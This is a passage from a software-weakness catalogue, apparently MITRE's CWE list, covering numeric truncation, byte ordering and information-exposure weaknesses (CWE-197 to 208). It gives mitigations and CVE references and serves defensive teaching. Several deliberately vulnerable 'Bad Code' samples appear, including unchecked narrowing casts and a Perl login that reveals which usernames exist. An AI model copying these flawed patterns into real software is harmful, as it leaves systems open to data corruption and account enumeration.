### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
92	Forced Integer Overflow	

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Type Conversions", Page 223.. 1st Edition. Addison Wesley. 2006.

## CWE-197: Numeric Truncation Error

Weakness ID: 197 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.

#### Extended Description

When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++
- Java
- .NET

### Common Consequences

#### Integrity

#### Modify memory

The true value of the data is lost and corrupted data is used.

### Likelihood of Exploit

Low

### Demonstrative Examples

#### Example 1:

This example, while not exploitable, shows the possible mangling of values associated with truncation errors:

#### C Example:

```
int intPrimitive;
short shortPrimitive;
intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1)));
shortPrimitive = intPrimitive;
```

*Bad Code*



```
printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive, shortPrimitive);
```

The above code, when compiled and run on certain systems, returns the following output:

Result

```
Int MAXINT: 2147483647
Short MAXINT: -1
```

This problem may be exploitable when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits.

### Example 2:

In the following Java example, the method `updateSalesForProduct` is part of a business application class that updates the sales information for a particular product. The method receives as arguments the product ID and the integer amount sold. The product ID is used to retrieve the total product count from an inventory object which returns the count as an integer. Before calling the method of the sales object to update the sales count the integer values are converted to the primitive type `short` since the method requires short type for the method arguments.

#### Java Example:

Bad Code

```
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
    // convert integer values to short, the method for the
    // sales object requires the parameters to be of type short
    short count = (short) productCount;
    short sold = (short) amountSold;
    // update sales database for product
    sales.updateSalesCount(productID, count, sold);
}
...
```

However, a numeric truncation error can occur if the integer values are higher than the maximum value allowed for the primitive type `short`. This can cause unexpected results or loss or corruption of data. In this case the sales database may be corrupted with incorrect data. Explicit casting from a larger size primitive type to a smaller size primitive type should be prevented. The following example an if statement is added to validate that the integer values less than the maximum value for the primitive type `short` before the explicit cast and the call to the sales method.

#### Java Example:

Good Code

```
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
    // make sure that integer numbers are not greater than
    // maximum value for type short before converting
    if ((productCount < Short.MAX_VALUE) && (amountSold < Short.MAX_VALUE)) {
        // convert integer values to short, the method for the
        // sales object requires the parameters to be of type short
        short count = (short) productCount;
        short sold = (short) amountSold;
        // update sales database for product
        sales.updateSalesCount(productID, count, sold);
    } else {
        // throw exception or perform other processing
    }
    ...
}
}
...
```

### Observed Examples

Reference	Description
CVE-2008-3282	Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated.
CVE-2009-0231	Integer truncation of length value leads to heap-based buffer overflow.

### Potential Mitigations

#### Implementation

Ensure that no casts, implicit or explicit, take place that move from a larger size primitive or a smaller size primitive.

### Relationships

Nature	Type	ID	Name	Count	Page
CanAlsoBe	<b>C</b>	192	Integer Coercion Error	1000	368
CanAlsoBe	<b>B</b>	194	Unexpected Sign Extension	1000	375
CanAlsoBe	<b>V</b>	195	Signed to Unsigned Conversion Error	1000	377
CanAlsoBe	<b>V</b>	196	Unsigned to Signed Conversion Error	1000	380
ChildOf	<b>B</b>	681	Incorrect Conversion between Numeric Types	<b>699</b> <b>1000</b>	1058
ChildOf	<b>C</b>	738	CERT C Secure Coding Section 04 - Integers (INT)	<b>734</b>	1132
ChildOf	<b>C</b>	848	CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)	<b>844</b>	1292
ChildOf	<b>C</b>	872	CERT C++ Secure Coding Section 04 - Integers (INT)	<b>868</b>	1313
ChildOf	<b>C</b>	998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

### Research Gaps

This weakness has traditionally been under-studied and under-reported, although vulnerabilities in popular software have been published in 2008 and 2009.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Numeric truncation error
CLASP		Truncation error
CERT C Secure Coding	INT02-C	Understand integer conversion rules
CERT C Secure Coding	INT05-C	Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C Secure Coding	INT31-C	Ensure that integer conversions do not result in lost or misinterpreted data
CERT Java Secure Coding	NUM12-J	Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data
CERT C++ Secure Coding	INT02-CPP	Understand integer conversion rules
CERT C++ Secure Coding	INT05-CPP	Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C++ Secure Coding	INT31-CPP	Ensure that integer conversions do not result in lost or misinterpreted data
Software Fault Patterns	SFP1	Glitch in computation

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Truncation", Page 259.. 1st Edition. Addison Wesley. 2006.

## CWE-198: Use of Incorrect Byte Ordering

Weakness ID: 198 (Weakness Base)

Status: Draft

### Description

#### Summary

The software receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Unexpected state

### Detection Methods

#### Black Box

Because byte ordering bugs are usually very noticeable even with normal inputs, this bug is more likely to occur in rarely triggered error conditions, making them difficult to detect using black box methods.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	188	Reliance on Data/Memory Layout	1000	359
ChildOf	C	189	Numeric Errors	699	360
ChildOf	C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	844	1296
ChildOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1391

### Research Gaps

Under-reported.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Numeric Byte Ordering Error
CERT Java Secure Coding	FIO12-J	Provide methods to read and write little-endian data

## CWE-199: Information Management Errors

Category ID: 199 (Category)

Status: Draft

### Description

#### Summary

Weaknesses in this category are related to improper handling of sensitive information.

### Applicable Platforms

#### Languages

- All

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Handling	699	18
ParentOf	G	200	Information Exposure	699	384
ParentOf	G	216	Containment Errors (Container Errors)	699	410
ParentOf	G	221	Information Loss or Omission	699	413
ParentOf	B	779	Logging of Excessive Data	699	1194

## CWE-200: Information Exposure

Weakness ID: 200 (Weakness Class)

Status: Incomplete

### Description

#### Summary

An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information.

#### Extended Description

The information either is regarded as sensitive within the product's own functionality, such as a private message; or

provides information about the product or its environment that could be useful in an attack but is normally not available to the attacker, such as the installation path of a product that is remotely accessible.

Many information exposures are resultant (e.g. PHP script error revealing the full path of the program), but they can also be primary (e.g. timing discrepancies in cryptography). There are many different types of problems that involve information exposures. Their severity can range widely depending on the type of information that is revealed.

### Alternate Terms

#### Information Leak

This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with exposure of information, but in other cases (such as "memory leak") this deals with improper tracking of resources which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.

#### Information Disclosure

This term is frequently used in vulnerability databases and other sources, however "disclosure" does not always have security implications. The phrase "information disclosure" is also used frequently in policies and legal documents, but do not refer to disclosure of security-relevant information.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Language-independent

#### Architectural Paradigms

- Mobile Application

### Common Consequences

#### Confidentiality

#### Read application data

### Likelihood of Exploit

High

### Detection Methods

#### Automated Static Analysis - Binary / Bytecode

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Inter-application Flow Analysis

#### Dynamic Analysis with automated results interpretation

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Web Application Scanner
- Web Services Scanner
- Database Scanners

## Dynamic Analysis with manual results interpretation

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Fuzz Tester
- Framework-based Fuzzer
- Automated Monitored Execution
- Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

### Manual Static Analysis - Source Code

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Manual Source Code Review (not inspections)

### Automated Static Analysis - Source Code

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

- Source code Weakness Analyzer

### Architecture / Design Review

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

- Attack Modeling
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

## Potential Mitigations

### Architecture and Design

#### Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

## Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	199	Information Management Errors	699	384
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	629	1114
ChildOf	C	840	Business Logic Errors	699	1283
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377
ParentOf	V	201	Information Exposure Through Sent Data	699 1000	387
ParentOf	V	202	Exposure of Sensitive Data Through Data Queries	699	389

Nature	Type	ID	Name	V	Page
ParentOf	<b>C</b>	203	Information Exposure Through Discrepancy	699 1000	389
ParentOf	<b>B</b>	209	Information Exposure Through an Error Message	699 1000	397
ParentOf	<b>B</b>	212	Improper Cross-boundary Removal of Sensitive Data	699 1000	405
ParentOf	<b>B</b>	213	Intentional Information Exposure	699 1000	407
ParentOf	<b>V</b>	214	Information Exposure Through Process Environment	699 1000	408
ParentOf	<b>V</b>	215	Information Exposure Through Debug Information	699 1000	409
ParentOf	<b>B</b>	226	Sensitive Information Uncleared Before Release	699 1000	417
ParentOf	<b>C</b>	359	Exposure of Private Information ('Privacy Violation')	1000	622
ParentOf	<b>V</b>	497	Exposure of System Data to an Unauthorized Control Sphere	699 1000	840
CanFollow	<b>V</b>	498	Cloneable Class Containing Sensitive Information	699 1000	842
CanFollow	<b>V</b>	499	Serializable Class Containing Sensitive Data	699 1000	844
ParentOf	<b>V</b>	524	Information Exposure Through Caching	699 1000	866
ParentOf	<b>V</b>	526	Information Exposure Through Environmental Variables	699 1000	868
ParentOf	<b>B</b>	538	File and Directory Information Exposure	699 1000	877
ParentOf	<b>V</b>	598	Information Exposure Through Query Strings in GET Request	699 1000	939
ParentOf	<b>V</b>	612	Information Exposure Through Indexing of Private Data	699 1000	960
MemberOf	<b>V</b>	635	Weaknesses Used by NVD	635	983

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Information Leak (information disclosure)
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
WASC	13		Information Leakage

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
13	Subverting Environment Variable Values	
22	Exploiting Trust in Client (aka Make the Client Invisible)	
59	Session Credential Falsification through Prediction	
60	Reusing Session IDs (aka Session Replay)	
79	Using Slashes in Alternate Encoding	
169	Footprinting	
472	Browser Fingerprinting	

### References

[REF-33] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. < <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/> >.

## CWE-201: Information Exposure Through Sent Data

Weakness ID: 201 (Weakness Variant) Status: Draft

Description  
 Summary

The accidental exposure of sensitive information through sent data refers to the transmission of data which are either sensitive in and of itself or useful in the further exploitation of the system through standard data channels.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Read files or directories

#### Read memory

#### Read application data

Sensitive data may be exposed to attackers.

### Demonstrative Examples

The following is an actual MySQL error statement:

#### SQL Example:

*Result*

```
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4
```

The error clearly exposes the database credentials.

### Potential Mitigations

#### Requirements

Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.

#### Implementation

Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.

#### System Configuration

Setup default error messages so that unexpected errors do not disclose sensitive information.

### Architecture and Design

#### Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		200	Information Exposure	<b>699</b>	384
				<b>1000</b>	
CanAlsoBe		202	Exposure of Sensitive Data Through Data Queries	1000	389
CanAlsoBe		209	Information Exposure Through an Error Message	1000	397
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Accidental leaking of sensitive information through sent data

### Related Attack Patterns



CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
12	Choosing a Message/Channel Identifier on a Public/Multicast Channel	
217	Exploiting Incorrectly Configured SSL Security Levels	

## CWE-202: Exposure of Sensitive Data Through Data Queries

Weakness ID: 202 (Weakness Variant)

Status: Draft

### Description

#### Summary

When trying to keep information confidential, an attacker can often infer some of the information by using statistics.

#### Extended Description

In situations where data should not be tied to individual users, but a large number of users should be able to make queries that "scrub" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Read files or directories

##### Read application data

Sensitive information may possibly be leaked through data queries accidentally.

#### Likelihood of Exploit

Medium

#### Demonstrative Examples





See the book *Translucent Databases* for examples.

#### Potential Mitigations

##### Architecture and Design

This is a complex topic. See the book *Translucent Databases* for a good discussion of best practices.

#### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		200	Information Exposure	<b>699</b>	384
ChildOf		359	Exposure of Private Information ('Privacy Violation')	<b>1000</b>	622
ChildOf		967	SFP Secondary Cluster: State Disclosure	<b>888</b>	1379
CanAlsoBe		201	<i>Information Exposure Through Sent Data</i>	<i>1000</i>	<i>387</i>

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Accidental leaking of sensitive information through data queries

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
169	Footprinting	

## CWE-203: Information Exposure Through Discrepancy

Weakness ID: 203 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The product behaves differently or sends different responses in a way that exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Access Control

##### Read application data

##### Bypass protection mechanism

An attacker can gain access to sensitive information about the system, including authentication information that may allow an attacker to gain access to the system.

#### Demonstrative Examples

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

##### Perl Example:

*Bad Code*

```
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
  if (IsValidPassword($username, $password) == 1)
  {
    print "Login Successful";
  }
  else
  {
    print "Login Failed - incorrect password";
  }
}
else
{
  print "Login Failed - unknown username";
}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

*Result*

"Login Failed - incorrect username or password"

#### Observed Examples

Reference	Description
CVE-2000-1117	Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the <code>getSystemResource</code> method.
CVE-2001-1387	Product may generate different responses than specified by the administrator, possibly leading to an information leak.
CVE-2001-1483	Enumeration of valid usernames based on inconsistent responses
CVE-2001-1528	Account number enumeration via inconsistent responses.

Reference	Description
CVE-2002-0514	Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL.
CVE-2002-0515	Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.
CVE-2002-2094	This, and others, use ".." attacks and monitor error responses, so there is overlap with directory traversal.
CVE-2003-0078	SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack."
CVE-2003-0190	Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.
CVE-2003-0637	Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing.
CVE-2004-0243	Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods.
CVE-2004-0294	Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack.
CVE-2004-0778	Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.
CVE-2004-1428	FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames.
CVE-2004-1602	FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response.
CVE-2004-2150	User enumeration via discrepancies in error messages.
CVE-2005-0918	Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not.
CVE-2005-1650	User enumeration via discrepancies in error messages.

### Potential Mitigations

#### Architecture and Design

##### Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

##### Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		200	Information Exposure	699 1000	384
ChildOf		717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	629	1114
ChildOf		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1119
ChildOf		967	SFP Secondary Cluster: State Disclosure	888	1379
ParentOf		204	<i>Response Discrepancy Information Exposure</i>	699 1000	392
ParentOf		205	<i>Information Exposure Through Behavioral Discrepancy</i>	699 1000	394
ParentOf		208	<i>Information Exposure Through Timing Discrepancy</i>	699 1000	396
MemberOf		884	<i>CWE Cross-section</i>	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Discrepancy Information Leaks
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

## CWE-204: Response Discrepancy Information Exposure

Weakness ID: 204 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

The software provides different responses to incoming requests in a way that allows an actor to determine system state information that is outside of that actor's control sphere.

#### Extended Description

This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These exposures can be inadvertent (bug) or intentional (design).

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Access Control

##### Read application data

##### Bypass protection mechanism

#### Demonstrative Examples

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

##### Perl Example:

*Bad Code*

```
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
    if (IsValidPassword($username, $password) == 1)
    {
        print "Login Successful";
    }
}
```

```

else
{
    print "Login Failed - incorrect password";
}
else
{
    print "Login Failed - unknown username";
}

```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

Result

```
"Login Failed - incorrect username or password"
```

### Observed Examples

Reference	Description
CVE-2001-1387	Product may generate different responses than specified by the administrator, possibly leading to an information leak.
CVE-2001-1483	Enumeration of valid usernames based on inconsistent responses
CVE-2001-1528	Account number enumeration via inconsistent responses.
CVE-2002-0514	Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL.
CVE-2002-0515	Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.
CVE-2002-2094	This, and others, use ".." attacks and monitor error responses, so there is overlap with directory traversal.
CVE-2004-0243	Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods.
CVE-2004-0294	Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack.
CVE-2004-0778	Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.
CVE-2004-1428	FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames.
CVE-2004-2150	User enumeration via discrepancies in error messages.
CVE-2005-1650	User enumeration via discrepancies in error messages.

### Potential Mitigations

#### Architecture and Design Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.



Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		203	Information Exposure Through Discrepancy	<b>699</b> <b>1000</b>	389
ChildOf		967	SFP Secondary Cluster: State Disclosure	<b>888</b>	1379

**Relationship Notes**

can overlap errors related to escalated privileges

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Response discrepancy infoleak

**References**

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 12: Information Leakage." Page 191. McGraw-Hill. 2010.

## CWE-205: Information Exposure Through Behavioral Discrepancy

Weakness ID: 205 (*Weakness Base*)

Status: Incomplete

**Description****Summary**

The product's actions indicate important differences based on (1) the internal state of the product or (2) differences from other products in the same class.

**Extended Description**

For example, attacks such as OS fingerprinting rely heavily on both behavioral and response discrepancies.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Access Control****Read application data****Bypass protection mechanism****Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		203	Information Exposure Through Discrepancy	<b>699</b> <b>1000</b>	389
ChildOf		967	SFP Secondary Cluster: State Disclosure	<b>888</b>	1379
ParentOf		206	Information Exposure of Internal State Through Behavioral Inconsistency	<b>699</b> <b>1000</b>	395

Nature	Type	ID	Name	CVSS	Page
ParentOf	V	207	Information Exposure Through an External Behavioral Inconsistency	699 1000	396

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Behavioral Discrepancy Infoleak
WASC	45	Fingerprinting

## CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency

Weakness ID: 206 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

Two separate operations in a product cause the product to behave differently in a way that is observable to an attacker and reveals security-relevant information about the internal state of the product, such as whether a particular operation was successful or not.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Access Control

#### Read application data

#### Bypass protection mechanism

### Observed Examples

Reference	Description
CVE-2001-1497	Behavioral infoleak in GUI allows attackers to distinguish between alphanumeric and non-alphanumeric characters in a password, thus reducing the search space.
CVE-2002-2031	File existence via infoleak monitoring whether "onerror" handler fires or not.
CVE-2003-0190	Product immediately sends an error message when user does not exist instead of waiting until the password is provided, allowing username enumeration.
CVE-2005-2025	Valid groupname enumeration via behavioral infoleak (sends response if valid, doesn't respond if not).

### Potential Mitigations

Setup generic response pages for error condition. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	205	Information Exposure Through Behavioral Discrepancy	699 1000	394
ChildOf	C	967	SFP Secondary Cluster: State Disclosure	888	1379

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Internal behavioral inconsistency infoleak



## CWE-207: Information Exposure Through an External Behavioral Inconsistency

Weakness ID: 207 (Weakness Variant)

Status: Draft

### Description

#### Summary

The product behaves differently than other products like it, in a way that is observable to an attacker and exposes security-relevant information about which product is being used.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Access Control

Read application data

Bypass protection mechanism

#### Observed Examples

Reference	Description
CVE-2000-1142	Honeybot generates an error with a "pwd" command in a particular directory, allowing attacker to know they are in a honeypot system.
CVE-2002-0208	Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use.
CVE-2004-2252	Behavioral infoleak by responding to SYN-FIN packets.

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		205	Information Exposure Through Behavioral Discrepancy	699	394
ChildOf		967	SFP Secondary Cluster: State Disclosure	888	1379

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	External behavioral inconsistency infoleak

## CWE-208: Information Exposure Through Timing Discrepancy

Weakness ID: 208 (Weakness Base)

Status: Incomplete

### Description

#### Summary

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- All




#### Common Consequences

**Confidentiality**  
**Access Control**  
**Read application data**  
**Bypass protection mechanism**

#### Observed Examples

Reference	Description
CVE-2000-1117	Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.
CVE-2003-0078	SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack."
CVE-2003-0190	Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.
CVE-2003-0637	Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing.
CVE-2004-1602	FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response.
CVE-2005-0918	Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not.

#### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		203	Information Exposure Through Discrepancy	<input checked="" type="checkbox"/>	699 1000
CanPrecede		327	Use of a Broken or Risky Cryptographic Algorithm	<input type="checkbox"/>	1000
ChildOf		967	SFP Secondary Cluster: State Disclosure	<input type="checkbox"/>	888 1379

#### Relationship Notes

Often primary in cryptographic applications and algorithms.

#### Functional Areas

- Cryptography, authentication

#### Taxonomy Mappings

